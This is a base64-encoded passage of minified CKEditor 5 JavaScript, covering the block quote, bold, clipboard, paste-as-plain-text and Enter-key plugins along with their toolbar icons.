ZW50LCJibG9ja1F1b3RlIik7Y29uc3QgaT10LmNoZWNrQ2hpbGQoWyIkcm9vdCIsImJsb2NrUXVvdGUiXSxlKTtyZXR1cm4gbiYmaX1jbGFzcyBCQyBleHRlbmRzIG5De3N0YXRpYyBnZXQgcGx1Z2luTmFtZSgpe3JldHVybiJCbG9ja1F1b3RlRWRpdGluZyJ9aW5pdCgpe2NvbnN0IHQ9dGhpcy5lZGl0b3I7Y29uc3QgZT10Lm1vZGVsLnNjaGVtYTt0LmNvbW1hbmRzLmFkZCgiYmxvY2tRdW90ZSIsbmV3IFNDKHQpKTtlLnJlZ2lzdGVyKCJibG9ja1F1b3RlIix7YWxsb3dXaGVyZToiJGJsb2NrIixhbGxvd0NvbnRlbnRPZjoiJHJvb3QifSk7ZS5hZGRDaGlsZENoZWNrKCgodCxlKT0+e2lmKHQuZW5kc1dpdGgoImJsb2NrUXVvdGUiKSYmZS5uYW1lPT0iYmxvY2tRdW90ZSIpe3JldHVybiBmYWxzZX19KSk7dC5jb252ZXJzaW9uLmVsZW1lbnRUb0VsZW1lbnQoe21vZGVsOiJibG9ja1F1b3RlIix2aWV3OiJibG9ja3F1b3RlIn0pO3QubW9kZWwuZG9jdW1lbnQucmVnaXN0ZXJQb3N0Rml4ZXIoKG49Pntjb25zdCBpPXQubW9kZWwuZG9jdW1lbnQuZGlmZmVyLmdldENoYW5nZXMoKTtmb3IoY29uc3QgdCBvZiBpKXtpZih0LnR5cGU9PSJpbnNlcnQiKXtjb25zdCBpPXQucG9zaXRpb24ubm9kZUFmdGVyO2lmKCFpKXtjb250aW51ZX1pZihpLmlzKCJlbGVtZW50IiwiYmxvY2tRdW90ZSIpJiZpLmlzRW1wdHkpe24ucmVtb3ZlKGkpO3JldHVybiB0cnVlfWVsc2UgaWYoaS5pcygiZWxlbWVudCIsImJsb2NrUXVvdGUiKSYmIWUuY2hlY2tDaGlsZCh0LnBvc2l0aW9uLGkpKXtuLnVud3JhcChpKTtyZXR1cm4gdHJ1ZX1lbHNlIGlmKGkuaXMoImVsZW1lbnQiKSl7Y29uc3QgdD1uLmNyZWF0ZVJhbmdlSW4oaSk7Zm9yKGNvbnN0IGkgb2YgdC5nZXRJdGVtcygpKXtpZihpLmlzKCJlbGVtZW50IiwiYmxvY2tRdW90ZSIpJiYhZS5jaGVja0NoaWxkKG4uY3JlYXRlUG9zaXRpb25CZWZvcmUoaSksaSkpe24udW53cmFwKGkpO3JldHVybiB0cnVlfX19fWVsc2UgaWYodC50eXBlPT0icmVtb3ZlIil7Y29uc3QgZT10LnBvc2l0aW9uLnBhcmVudDtpZihlLmlzKCJlbGVtZW50IiwiYmxvY2tRdW90ZSIpJiZlLmlzRW1wdHkpe24ucmVtb3ZlKGUpO3JldHVybiB0cnVlfX19cmV0dXJuIGZhbHNlfSkpfWFmdGVySW5pdCgpe2NvbnN0IHQ9dGhpcy5lZGl0b3I7Y29uc3QgZT10LmNvbW1hbmRzLmdldCgiYmxvY2tRdW90ZSIpO3RoaXMubGlzdGVuVG8odGhpcy5lZGl0b3IuZWRpdGluZy52aWV3LmRvY3VtZW50LCJlbnRlciIsKCh0LG4pPT57Y29uc3QgaT10aGlzLmVkaXRvci5tb2RlbC5kb2N1bWVudDtjb25zdCBvPWkuc2VsZWN0aW9uLmdldExhc3RQb3NpdGlvbigpLnBhcmVudDtpZihpLnNlbGVjdGlvbi5pc0NvbGxhcHNlZCYmby5pc0VtcHR5JiZlLnZhbHVlKXt0aGlzLmVkaXRvci5leGVjdXRlKCJibG9ja1F1b3RlIik7dGhpcy5lZGl0b3IuZWRpdGluZy52aWV3LnNjcm9sbFRvVGhlU2VsZWN0aW9uKCk7bi5wcmV2ZW50RGVmYXVsdCgpO3Quc3RvcCgpfX0pKX19dmFyIFBDPSc8c3ZnIHZpZXdCb3g9IjAgMCAyMCAyMCIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNMyAxMC40MjNhNi41IDYuNSAwIDAgMSA2LjA1Ni02LjQwOGwuMDM4LjY3QzYuNDQ4IDUuNDIzIDUuMzU0IDcuNjYzIDUuMjIgMTBIOWMuNTUyIDAgLjUuNDMyLjUuOTg2djQuNTExYzAgLjU1NC0uNDQ4LjUwMy0xIC41MDNoLTVjLS41NTIgMC0uNS0uNDQ5LS41LTEuMDAzdi00LjU3NHptOCAwYTYuNSA2LjUgMCAwIDEgNi4wNTYtNi40MDhsLjAzOC42N2MtMi42NDYuNzM5LTMuNzQgMi45NzktMy44NzMgNS4zMTVIMTdjLjU1MiAwIC41LjQzMi41Ljk4NnY0LjUxMWMwIC41NTQtLjQ0OC41MDMtMSAuNTAzaC01Yy0uNTUyIDAtLjUtLjQ0OS0uNS0xLjAwM3YtNC41NzR6Ii8+PC9zdmc+Jzt2YXIgekM9bigyNyk7dmFyIExDPXtpbmplY3RUeXBlOiJzaW5nbGV0b25TdHlsZVRhZyIsYXR0cmlidXRlczp7ImRhdGEtY2tlIjp0cnVlfX07TEMuaW5zZXJ0PSJoZWFkIjtMQy5zaW5nbGV0b249dHJ1ZTt2YXIgT0M9cmsoKSh6Q1siYSJdLExDKTt2YXIgUkM9ekNbImEiXS5sb2NhbHN8fHt9O2NsYXNzIGpDIGV4dGVuZHMgbkN7aW5pdCgpe2NvbnN0IHQ9dGhpcy5lZGl0b3I7Y29uc3QgZT10LnQ7dC51aS5jb21wb25lbnRGYWN0b3J5LmFkZCgiYmxvY2tRdW90ZSIsKG49Pntjb25zdCBpPXQuY29tbWFuZHMuZ2V0KCJibG9ja1F1b3RlIik7Y29uc3Qgbz1uZXcgY3cobik7by5zZXQoe2xhYmVsOmUoIkJsb2NrIHF1b3RlIiksaWNvbjpQQyx0b29sdGlwOnRydWUsaXNUb2dnbGVhYmxlOnRydWV9KTtvLmJpbmQoImlzT24iLCJpc0VuYWJsZWQiKS50byhpLCJ2YWx1ZSIsImlzRW5hYmxlZCIpO3RoaXMubGlzdGVuVG8obywiZXhlY3V0ZSIsKCgpPT57dC5leGVjdXRlKCJibG9ja1F1b3RlIik7dC5lZGl0aW5nLnZpZXcuZm9jdXMoKX0pKTtyZXR1cm4gb30pKX19Y2xhc3MgRkMgZXh0ZW5kcyBuQ3tzdGF0aWMgZ2V0IHJlcXVpcmVzKCl7cmV0dXJuW0JDLGpDXX1zdGF0aWMgZ2V0IHBsdWdpbk5hbWUoKXtyZXR1cm4iQmxvY2tRdW90ZSJ9fWNsYXNzIFZDIGV4dGVuZHMgb0N7Y29uc3RydWN0b3IodCxlKXtzdXBlcih0KTt0aGlzLmF0dHJpYnV0ZUtleT1lfXJlZnJlc2goKXtjb25zdCB0PXRoaXMuZWRpdG9yLm1vZGVsO2NvbnN0IGU9dC5kb2N1bWVudDt0aGlzLnZhbHVlPXRoaXMuX2dldFZhbHVlRnJvbUZpcnN0QWxsb3dlZE5vZGUoKTt0aGlzLmlzRW5hYmxlZD10LnNjaGVtYS5jaGVja0F0dHJpYnV0ZUluU2VsZWN0aW9uKGUuc2VsZWN0aW9uLHRoaXMuYXR0cmlidXRlS2V5KX1leGVjdXRlKHQ9e30pe2NvbnN0IGU9dGhpcy5lZGl0b3IubW9kZWw7Y29uc3Qgbj1lLmRvY3VtZW50O2NvbnN0IGk9bi5zZWxlY3Rpb247Y29uc3Qgbz10LmZvcmNlVmFsdWU9PT11bmRlZmluZWQ/IXRoaXMudmFsdWU6dC5mb3JjZVZhbHVlO2UuY2hhbmdlKCh0PT57aWYoaS5pc0NvbGxhcHNlZCl7aWYobyl7dC5zZXRTZWxlY3Rpb25BdHRyaWJ1dGUodGhpcy5hdHRyaWJ1dGVLZXksdHJ1ZSl9ZWxzZXt0LnJlbW92ZVNlbGVjdGlvbkF0dHJpYnV0ZSh0aGlzLmF0dHJpYnV0ZUtleSl9fWVsc2V7Y29uc3Qgbj1lLnNjaGVtYS5nZXRWYWxpZFJhbmdlcyhpLmdldFJhbmdlcygpLHRoaXMuYXR0cmlidXRlS2V5KTtmb3IoY29uc3QgZSBvZiBuKXtpZihvKXt0LnNldEF0dHJpYnV0ZSh0aGlzLmF0dHJpYnV0ZUtleSxvLGUpfWVsc2V7dC5yZW1vdmVBdHRyaWJ1dGUodGhpcy5hdHRyaWJ1dGVLZXksZSl9fX19KSl9X2dldFZhbHVlRnJvbUZpcnN0QWxsb3dlZE5vZGUoKXtjb25zdCB0PXRoaXMuZWRpdG9yLm1vZGVsO2NvbnN0IGU9dC5zY2hlbWE7Y29uc3Qgbj10LmRvY3VtZW50LnNlbGVjdGlvbjtpZihuLmlzQ29sbGFwc2VkKXtyZXR1cm4gbi5oYXNBdHRyaWJ1dGUodGhpcy5hdHRyaWJ1dGVLZXkpfWZvcihjb25zdCB0IG9mIG4uZ2V0UmFuZ2VzKCkpe2Zvcihjb25zdCBuIG9mIHQuZ2V0SXRlbXMoKSl7aWYoZS5jaGVja0F0dHJpYnV0ZShuLHRoaXMuYXR0cmlidXRlS2V5KSl7cmV0dXJuIG4uaGFzQXR0cmlidXRlKHRoaXMuYXR0cmlidXRlS2V5KX19fXJldHVybiBmYWxzZX19Y29uc3QgVUM9ImJvbGQiO2NsYXNzIEhDIGV4dGVuZHMgbkN7c3RhdGljIGdldCBwbHVnaW5OYW1lKCl7cmV0dXJuIkJvbGRFZGl0aW5nIn1pbml0KCl7Y29uc3QgdD10aGlzLmVkaXRvcjt0Lm1vZGVsLnNjaGVtYS5leHRlbmQoIiR0ZXh0Iix7YWxsb3dBdHRyaWJ1dGVzOlVDfSk7dC5tb2RlbC5zY2hlbWEuc2V0QXR0cmlidXRlUHJvcGVydGllcyhVQyx7aXNGb3JtYXR0aW5nOnRydWUsY29weU9uRW50ZXI6dHJ1ZX0pO3QuY29udmVyc2lvbi5hdHRyaWJ1dGVUb0VsZW1lbnQoe21vZGVsOlVDLHZpZXc6InN0cm9uZyIsdXBjYXN0QWxzbzpbImIiLHQ9Pntjb25zdCBlPXQuZ2V0U3R5bGUoImZvbnQtd2VpZ2h0Iik7aWYoIWUpe3JldHVybiBudWxsfWlmKGU9PSJib2xkInx8TnVtYmVyKGUpPj02MDApe3JldHVybntuYW1lOnRydWUsc3R5bGVzOlsiZm9udC13ZWlnaHQiXX19fV19KTt0LmNvbW1hbmRzLmFkZChVQyxuZXcgVkModCxVQykpO3Qua2V5c3Ryb2tlcy5zZXQoIkNUUkwrQiIsVUMpfX12YXIgR0M9Jzxzdmcgdmlld0JveD0iMCAwIDIwIDIwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxwYXRoIGQ9Ik0xMC4xODcgMTdINS43NzNjLS42MzcgMC0xLjA5Mi0uMTM4LTEuMzY0LS40MTUtLjI3My0uMjc3LS40MDktLjcxOC0uNDA5LTEuMzIzVjQuNzM4YzAtLjYxNy4xNC0xLjA2Mi40MTktMS4zMzIuMjc5LS4yNy43My0uNDA2IDEuMzU0LS40MDZoNC42OGMuNjkgMCAxLjI4OC4wNDEgMS43OTMuMTI0LjUwNi4wODMuOTYuMjQyIDEuMzYuNDc4LjM0MS4xOTcuNjQ0LjQ0Ny45MDYuNzVhMy4yNjIgMy4yNjIgMCAwIDEgLjgwOCAyLjE2MmMwIDEuNDAxLS43MjIgMi40MjYtMi4xNjcgMy4wNzVDMTUuMDUgMTAuMTc1IDE2IDExLjMxNSAxNiAxMy4wMWEzLjc1NiAzLjc1NiAwIDAgMS0yLjI5NiAzLjUwNCA2LjEgNi4xIDAgMCAxLTEuNTE3LjM3N2MtLjU3MS4wNzMtMS4yMzguMTEtMiAuMTF6bS0uMjE3LTYuMjE3SDd2NC4wODdoMy4wNjljMS45NzcgMCAyLjk2NS0uNjkgMi45NjUtMi4wNzIgMC0uNzA3LS4yNTYtMS4yMi0uNzY4LTEuNTM3LS41MTItLjMxOS0xLjI3Ny0uNDc4LTIuMjk2LS40Nzh6TTcgNS4xM3YzLjYxOWgyLjYwNmMuNzI5IDAgMS4yOTItLjA2NyAxLjY5LS4yYTEuNiAxLjYgMCAwIDAgLjkxLS43NjVjLjE2NS0uMjY3LjI0Ny0uNTY2LjI0Ny0uODk3IDAtLjcwNy0uMjYtMS4xNzYtLjc3OC0xLjQwOS0uNTE5LS4yMzItMS4zMS0uMzQ4LTIuMzc1LS4zNDhIN3oiLz48L3N2Zz4nO2NvbnN0IFdDPSJib2xkIjtjbGFzcyBLQyBleHRlbmRzIG5De2luaXQoKXtjb25zdCB0PXRoaXMuZWRpdG9yO2NvbnN0IGU9dC50O3QudWkuY29tcG9uZW50RmFjdG9yeS5hZGQoV0MsKG49Pntjb25zdCBpPXQuY29tbWFuZHMuZ2V0KFdDKTtjb25zdCBvPW5ldyBjdyhuKTtvLnNldCh7bGFiZWw6ZSgiQm9sZCIpLGljb246R0Msa2V5c3Ryb2tlOiJDVFJMK0IiLHRvb2x0aXA6dHJ1ZSxpc1RvZ2dsZWFibGU6dHJ1ZX0pO28uYmluZCgiaXNPbiIsImlzRW5hYmxlZCIpLnRvKGksInZhbHVlIiwiaXNFbmFibGVkIik7dGhpcy5saXN0ZW5UbyhvLCJleGVjdXRlIiwoKCk9Pnt0LmV4ZWN1dGUoV0MpO3QuZWRpdGluZy52aWV3LmZvY3VzKCl9KSk7cmV0dXJuIG99KSl9fWNsYXNzIHFDIGV4dGVuZHMgbkN7c3RhdGljIGdldCByZXF1aXJlcygpe3JldHVybltIQyxLQ119c3RhdGljIGdldCBwbHVnaW5OYW1lKCl7cmV0dXJuIkJvbGQifX1jbGFzcyBZQ3tjb25zdHJ1Y3Rvcih0KXt0aGlzLmZpbGVzPVFDKHQpO3RoaXMuX25hdGl2ZT10fWdldCB0eXBlcygpe3JldHVybiB0aGlzLl9uYXRpdmUudHlwZXN9Z2V0RGF0YSh0KXtyZXR1cm4gdGhpcy5fbmF0aXZlLmdldERhdGEodCl9c2V0RGF0YSh0LGUpe3RoaXMuX25hdGl2ZS5zZXREYXRhKHQsZSl9fWZ1bmN0aW9uIFFDKHQpe2NvbnN0IGU9dC5maWxlcz9BcnJheS5mcm9tKHQuZmlsZXMpOltdO2NvbnN0IG49dC5pdGVtcz9BcnJheS5mcm9tKHQuaXRlbXMpOltdO2lmKGUubGVuZ3RoKXtyZXR1cm4gZX1yZXR1cm4gbi5maWx0ZXIoKHQ9PnQua2luZD09PSJmaWxlIikpLm1hcCgodD0+dC5nZXRBc0ZpbGUoKSkpfWNsYXNzICRDIGV4dGVuZHMgbmh7Y29uc3RydWN0b3IodCl7c3VwZXIodCk7Y29uc3QgZT10aGlzLmRvY3VtZW50O3RoaXMuZG9tRXZlbnRUeXBlPVsicGFzdGUiLCJjb3B5IiwiY3V0IiwiZHJvcCIsImRyYWdvdmVyIl07dGhpcy5saXN0ZW5UbyhlLCJwYXN0ZSIsbix7cHJpb3JpdHk6ImxvdyJ9KTt0aGlzLmxpc3RlblRvKGUsImRyb3AiLG4se3ByaW9yaXR5OiJsb3cifSk7ZnVuY3Rpb24gbih0LG4pe24ucHJldmVudERlZmF1bHQoKTtjb25zdCBpPW4uZHJvcFJhbmdlP1tuLmRyb3BSYW5nZV06QXJyYXkuZnJvbShlLnNlbGVjdGlvbi5nZXRSYW5nZXMoKSk7Y29uc3Qgbz1uZXcgdHMoZSwiY2xpcGJvYXJkSW5wdXQiKTtlLmZpcmUobyx7ZGF0YVRyYW5zZmVyOm4uZGF0YVRyYW5zZmVyLHRhcmdldFJhbmdlczppfSk7aWYoby5zdG9wLmNhbGxlZCl7bi5zdG9wUHJvcGFnYXRpb24oKX19fW9uRG9tRXZlbnQodCl7Y29uc3QgZT17ZGF0YVRyYW5zZmVyOm5ldyBZQyh0LmNsaXBib2FyZERhdGE/dC5jbGlwYm9hcmREYXRhOnQuZGF0YVRyYW5zZmVyKX07aWYodC50eXBlPT0iZHJvcCIpe2UuZHJvcFJhbmdlPUpDKHRoaXMudmlldyx0KX10aGlzLmZpcmUodC50eXBlLHQsZSl9fWZ1bmN0aW9uIEpDKHQsZSl7Y29uc3Qgbj1lLnRhcmdldC5vd25lckRvY3VtZW50O2NvbnN0IGk9ZS5jbGllbnRYO2NvbnN0IG89ZS5jbGllbnRZO2xldCByO2lmKG4uY2FyZXRSYW5nZUZyb21Qb2ludCYmbi5jYXJldFJhbmdlRnJvbVBvaW50KGksbykpe3I9bi5jYXJldFJhbmdlRnJvbVBvaW50KGksbyl9ZWxzZSBpZihlLnJhbmdlUGFyZW50KXtyPW4uY3JlYXRlUmFuZ2UoKTtyLnNldFN0YXJ0KGUucmFuZ2VQYXJlbnQsZS5yYW5nZU9mZnNldCk7ci5jb2xsYXBzZSh0cnVlKX1pZihyKXtyZXR1cm4gdC5kb21Db252ZXJ0ZXIuZG9tUmFuZ2VUb1ZpZXcocil9ZWxzZXtyZXR1cm4gdC5kb2N1bWVudC5zZWxlY3Rpb24uZ2V0Rmlyc3RSYW5nZSgpfX1jbGFzcyBaQyBleHRlbmRzIG5De3N0YXRpYyBnZXQgcGx1Z2luTmFtZSgpe3JldHVybiJQYXN0ZVBsYWluVGV4dCJ9aW5pdCgpe2NvbnN0IHQ9dGhpcy5lZGl0b3IuZWRpdGluZy52aWV3O2NvbnN0IGU9dC5kb2N1bWVudDtsZXQgbj1mYWxzZTt0LmFkZE9ic2VydmVyKCRDKTt0aGlzLmxpc3RlblRvKGUsImtleWRvd24iLCgodCxlKT0+e249ZS5zaGlmdEtleX0pKTt0aGlzLmxpc3RlblRvKGUsImNsaXBib2FyZElucHV0IiwoKHQsZSk9PntpZihuKXtlLmFzUGxhaW5UZXh0PXRydWV9fSkse3ByaW9yaXR5OiJoaWdoIn0pfX1mdW5jdGlvbiBYQyh0KXt0PXQucmVwbGFjZSgvPC9nLCImbHQ7IikucmVwbGFjZSgvPi9nLCImZ3Q7IikucmVwbGFjZSgvXHI/XG5ccj9cbi9nLCI8L3A+PHA+IikucmVwbGFjZSgvXHI/XG4vZywiPGJyPiIpLnJlcGxhY2UoL15ccy8sIiZuYnNwOyIpLnJlcGxhY2UoL1xzJC8sIiZuYnNwOyIpLnJlcGxhY2UoL1xzXHMvZywiICZuYnNwOyIpO2lmKHQuaW5jbHVkZXMoIjwvcD48cD4iKXx8dC5pbmNsdWRlcygiPGJyPiIpKXt0PWA8cD4ke3R9PC9wPmB9cmV0dXJuIHR9ZnVuY3Rpb24gdEEodCl7cmV0dXJuIHQucmVwbGFjZSgvPHNwYW4oPzogY2xhc3M9IkFwcGxlLWNvbnZlcnRlZC1zcGFjZSJ8KT4oXHMrKTxcL3NwYW4+L2csKCh0LGUpPT57aWYoZS5sZW5ndGg9PTEpe3JldHVybiIgIn1yZXR1cm4gZX0pKX1jb25zdCBlQT1bImZpZ2NhcHRpb24iLCJsaSJdO2Z1bmN0aW9uIG5BKHQpe2xldCBlPSIiO2lmKHQuaXMoIiR0ZXh0Iil8fHQuaXMoIiR0ZXh0UHJveHkiKSl7ZT10LmRhdGF9ZWxzZSBpZih0LmlzKCJlbGVtZW50IiwiaW1nIikmJnQuaGFzQXR0cmlidXRlKCJhbHQiKSl7ZT10LmdldEF0dHJpYnV0ZSgiYWx0Iil9ZWxzZSBpZih0LmlzKCJlbGVtZW50IiwiYnIiKSl7ZT0iXG4ifWVsc2V7bGV0IG49bnVsbDtmb3IoY29uc3QgaSBvZiB0LmdldENoaWxkcmVuKCkpe2NvbnN0IHQ9bkEoaSk7aWYobiYmKG4uaXMoImNvbnRhaW5lckVsZW1lbnQiKXx8aS5pcygiY29udGFpbmVyRWxlbWVudCIpKSl7aWYoZUEuaW5jbHVkZXMobi5uYW1lKXx8ZUEuaW5jbHVkZXMoaS5uYW1lKSl7ZSs9IlxuIn1lbHNle2UrPSJcblxuIn19ZSs9dDtuPWl9fXJldHVybiBlfWNsYXNzIGlBIGV4dGVuZHMgbkN7c3RhdGljIGdldCBwbHVnaW5OYW1lKCl7cmV0dXJuIkNsaXBib2FyZCJ9c3RhdGljIGdldCByZXF1aXJlcygpe3JldHVybltaQ119aW5pdCgpe2NvbnN0IHQ9dGhpcy5lZGl0b3I7Y29uc3QgZT10Lm1vZGVsLmRvY3VtZW50O2NvbnN0IG49dC5lZGl0aW5nLnZpZXc7Y29uc3QgaT1uLmRvY3VtZW50O3RoaXMuX2h0bWxEYXRhUHJvY2Vzc29yPW5ldyBKcChpKTtuLmFkZE9ic2VydmVyKCRDKTt0aGlzLmxpc3RlblRvKGksImNsaXBib2FyZElucHV0IiwoZT0+e2lmKHQuaXNSZWFkT25seSl7ZS5zdG9wKCl9fSkse3ByaW9yaXR5OiJoaWdoZXN0In0pO3RoaXMubGlzdGVuVG8oaSwiY2xpcGJvYXJkSW5wdXQiLCgodCxlKT0+e2NvbnN0IGk9ZS5kYXRhVHJhbnNmZXI7bGV0IG89IiI7aWYoaS5nZXREYXRhKCJ0ZXh0L2h0bWwiKSl7bz10QShpLmdldERhdGEoInRleHQvaHRtbCIpKX1lbHNlIGlmKGkuZ2V0RGF0YSgidGV4dC9wbGFpbiIpKXtvPVhDKGkuZ2V0RGF0YSgidGV4dC9wbGFpbiIpKX1vPXRoaXMuX2h0bWxEYXRhUHJvY2Vzc29yLnRvVmlldyhvKTtjb25zdCByPW5ldyB0cyh0aGlzLCJpbnB1dFRyYW5zZm9ybWF0aW9uIik7dGhpcy5maXJlKHIse2NvbnRlbnQ6byxkYXRhVHJhbnNmZXI6aSxhc1BsYWluVGV4dDplLmFzUGxhaW5UZXh0fSk7aWYoci5zdG9wLmNhbGxlZCl7dC5zdG9wKCl9bi5zY3JvbGxUb1RoZVNlbGVjdGlvbigpfSkse3ByaW9yaXR5OiJsb3cifSk7dGhpcy5saXN0ZW5Ubyh0aGlzLCJpbnB1dFRyYW5zZm9ybWF0aW9uIiwoKHQsZSk9PntpZighZS5jb250ZW50LmlzRW1wdHkpe2NvbnN0IG49dGhpcy5lZGl0b3IuZGF0YTtjb25zdCBpPXRoaXMuZWRpdG9yLm1vZGVsO2NvbnN0IG89bi50b01vZGVsKGUuY29udGVudCwiJGNsaXBib2FyZEhvbGRlciIpO2lmKG8uY2hpbGRDb3VudD09MCl7cmV0dXJufWkuY2hhbmdlKCh0PT57Y29uc3Qgbj1pLmRvY3VtZW50LnNlbGVjdGlvbjtpZihlLmFzUGxhaW5UZXh0fHxvQShvLGkuc2NoZW1hKSl7Y29uc3QgZT1BcnJheS5mcm9tKG4uZ2V0QXR0cmlidXRlcygpKS5maWx0ZXIoKChbdF0pPT5pLnNjaGVtYS5nZXRBdHRyaWJ1dGVQcm9wZXJ0aWVzKHQpLmlzRm9ybWF0dGluZykpO2lmKCFuLmlzQ29sbGFwc2VkKXtpLmRlbGV0ZUNvbnRlbnQobix7ZG9Ob3RBdXRvcGFyYWdyYXBoOnRydWV9KX1lLnB1c2goLi4ubi5nZXRBdHRyaWJ1dGVzKCkpO2NvbnN0IHI9dC5jcmVhdGVSYW5nZUluKG8pO2Zvcihjb25zdCBuIG9mIHIuZ2V0SXRlbXMoKSl7aWYobi5pcygiJHRleHQiKXx8bi5pcygiJHRleHRQcm94eSIpKXt0LnNldEF0dHJpYnV0ZXMoZSxuKX19fWkuaW5zZXJ0Q29udGVudChvKX0pKTt0LnN0b3AoKX19KSx7cHJpb3JpdHk6ImxvdyJ9KTtmdW5jdGlvbiBvKG4sbyl7Y29uc3Qgcj1vLmRhdGFUcmFuc2ZlcjtvLnByZXZlbnREZWZhdWx0KCk7Y29uc3Qgcz10LmRhdGEudG9WaWV3KHQubW9kZWwuZ2V0U2VsZWN0ZWRDb250ZW50KGUuc2VsZWN0aW9uKSk7aS5maXJlKCJjbGlwYm9hcmRPdXRwdXQiLHtkYXRhVHJhbnNmZXI6cixjb250ZW50OnMsbWV0aG9kOm4ubmFtZX0pfXRoaXMubGlzdGVuVG8oaSwiY29weSIsbyx7cHJpb3JpdHk6ImxvdyJ9KTt0aGlzLmxpc3RlblRvKGksImN1dCIsKChlLG4pPT57aWYodC5pc1JlYWRPbmx5KXtuLnByZXZlbnREZWZhdWx0KCl9ZWxzZXtvKGUsbil9fSkse3ByaW9yaXR5OiJsb3cifSk7dGhpcy5saXN0ZW5UbyhpLCJjbGlwYm9hcmRPdXRwdXQiLCgobixpKT0+e2lmKCFpLmNvbnRlbnQuaXNFbXB0eSl7aS5kYXRhVHJhbnNmZXIuc2V0RGF0YSgidGV4dC9odG1sIix0aGlzLl9odG1sRGF0YVByb2Nlc3Nvci50b0RhdGEoaS5jb250ZW50KSk7aS5kYXRhVHJhbnNmZXIuc2V0RGF0YSgidGV4dC9wbGFpbiIsbkEoaS5jb250ZW50KSl9aWYoaS5tZXRob2Q9PSJjdXQiKXt0Lm1vZGVsLmRlbGV0ZUNvbnRlbnQoZS5zZWxlY3Rpb24pfX0pLHtwcmlvcml0eToibG93In0pfX1mdW5jdGlvbiBvQSh0LGUpe2lmKHQuY2hpbGRDb3VudD4xKXtyZXR1cm4gZmFsc2V9Y29uc3Qgbj10LmdldENoaWxkKDApO2lmKGUuaXNPYmplY3Qobikpe3JldHVybiBmYWxzZX1yZXR1cm5bLi4ubi5nZXRBdHRyaWJ1dGVLZXlzKCldLmxlbmd0aD09MH1mdW5jdGlvbipyQSh0LGUpe2Zvcihjb25zdCBuIG9mIGUpe2lmKG4mJnQuZ2V0QXR0cmlidXRlUHJvcGVydGllcyhuWzBdKS5jb3B5T25FbnRlcil7eWllbGQgbn19fWNsYXNzIHNBIGV4dGVuZHMgb0N7ZXhlY3V0ZSgpe2NvbnN0IHQ9dGhpcy5lZGl0b3IubW9kZWw7Y29uc3QgZT10LmRvY3VtZW50O3QuY2hhbmdlKChuPT57YUEodGhpcy5lZGl0b3IubW9kZWwsbixlLnNlbGVjdGlvbix0LnNjaGVtYSk7dGhpcy5maXJlKCJhZnRlckV4ZWN1dGUiLHt3cml0ZXI6bn0pfSkpfX1mdW5jdGlvbiBhQSh0LGUsbixpKXtjb25zdCBvPW4uaXNDb2xsYXBzZWQ7Y29uc3Qgcj1uLmdldEZpcnN0UmFuZ2UoKTtjb25zdCBzPXIuc3RhcnQucGFyZW50O2NvbnN0IGE9ci5lbmQucGFyZW50O2lmKGkuaXNMaW1pdChzKXx8aS5pc0xpbWl0KGEpKXtpZighbyYmcz09YSl7dC5kZWxldGVDb250ZW50KG4pfXJldHVybn1pZihvKXtjb25zdCB0PXJBKGUubW9kZWwuc2NoZW1hLG4uZ2V0QXR0cmlidXRlcygpKTtjQShlLHIuc3RhcnQpO2Uuc2V0U2VsZWN0aW9uQXR0cmlidXRlKHQpfWVsc2V7Y29uc3QgaT0hKHIuc3RhcnQuaXNBdFN0YXJ0JiZyLmVuZC5pc0F0RW5kKTtjb25zdCBvPXM9PWE7dC5kZWxldGVDb250ZW50KG4se2xlYXZlVW5tZXJnZWQ6aX0pO2lmKGkpe2lmKG8pe2NBKGUsbi5mb2N1cyl9ZWxzZXtlLnNldFNlbGVjdGlvbihhLDApfX19fWZ1bmN0aW9uIGNBKHQsZSl7dC5zcGxpdChlKTt0LnNldFNlbGVjdGlvbihlLnBhcmVudC5uZXh0U2libGluZywwKX1jbGFzcyBsQSBleHRlbmRzIHR1e2NvbnN0cnVjdG9yKHQpe3N1cGVyKHQpO2NvbnN0IGU9dGhpcy5kb2N1bWVudDtlLm9uKCJrZXlkb3duIiwoKHQsbik9PntpZih0aGlzLmlzRW5hYmxlZCYmbi5rZXlDb2RlPT1MbC5lbnRlcil7bGV0IGk7ZS5vbmNlKCJlbnRlciIsKHQ9Pmk9dCkse3ByaW9yaXR5OiJoaWdoZXN0In0pO2UuZmlyZSgiZW50ZXIiLG5ldyBlaChlLG4uZG9tRXZlbnQse2lzU29mdDpuLnNoaWZ0S2V5fSkpO2lmKGkmJmkuc3RvcC5jYWxsZWQpe3Quc3RvcCgpfX19KSl9b2JzZXJ2ZSgpe319Y2xhc3MgZEEgZXh0ZW5kcyBuQ3tzdGF0aWMgZ2V0IHBsdWdpbk5hbWUoKXtyZXR1cm4iRW50ZXIifWluaXQoKXtjb25zdCB0PXRoaXMuZWRpdG9yO2NvbnN0IGU9dC5lZGl0aW5nLnZpZXc7Y29uc3Qgbj1lLmRvY3VtZW50O2UuYWRkT2JzZXJ2ZXIobEEpO3QuY29tbWFuZHMuYWRkKCJlbnRlciIsbmV3IHNBKHQpKTt0aGlzLmxpc3RlblRvKG4sImVudGVyIiwoKG4saSk9PntpLnByZXZlbnREZWZhdWx0KCk7aWYoaS5pc1NvZnQpe3JldHVybn10LmV4ZWN1dGUoImVudGVyIik7ZS5zY3JvbGxUb1RoZVNlbGVjdGlvbigpfSkse3ByaW9yaXR5OiJsb3cifSl9fWNsYXNzIHVBIGV4dGVuZHMgb0N7ZXhlY3V0ZSgpe2NvbnN0IHQ9dGhpcy5lZGl0b3IubW9kZWw7Y29uc3QgZT10LmRvY3VtZW50O3QuY2hhbmdlKChuPT57ZkEodCxuLGUuc2VsZWN0aW9uKTt0aGlzLmZpcmUoImFmdGVyRXhlY3V0ZSIse3dyaXRlcjpufSl9KSl9cmVmcmVzaCgpe2NvbnN0IHQ9dGhpcy5lZGl0b3IubW9kZWw7Y29uc3QgZT10LmRvY3VtZW50O3RoaXMuaXNFbmFibGVkPWhBKHQuc2NoZW1hLGUuc2VsZWN0aW9uKX19ZnVuY3Rpb24gaEEodCxlKXtpZihlLnJhbmdlQ291bnQ+MSl7cmV0dXJuIGZhbHNlfWNvbnN0IG49ZS5hbmNob3I7aWYoIW58fCF0LmNoZWNrQ2hpbGQobiwic29mdEJyZWFrIikpe3JldHVybiBmYWxzZX1jb25zdCBpPWUuZ2V0Rmlyc3RSYW5nZSgpO2NvbnN0IG89aS5zdGFydC5wYXJlbnQ7Y29uc3Qgcj1p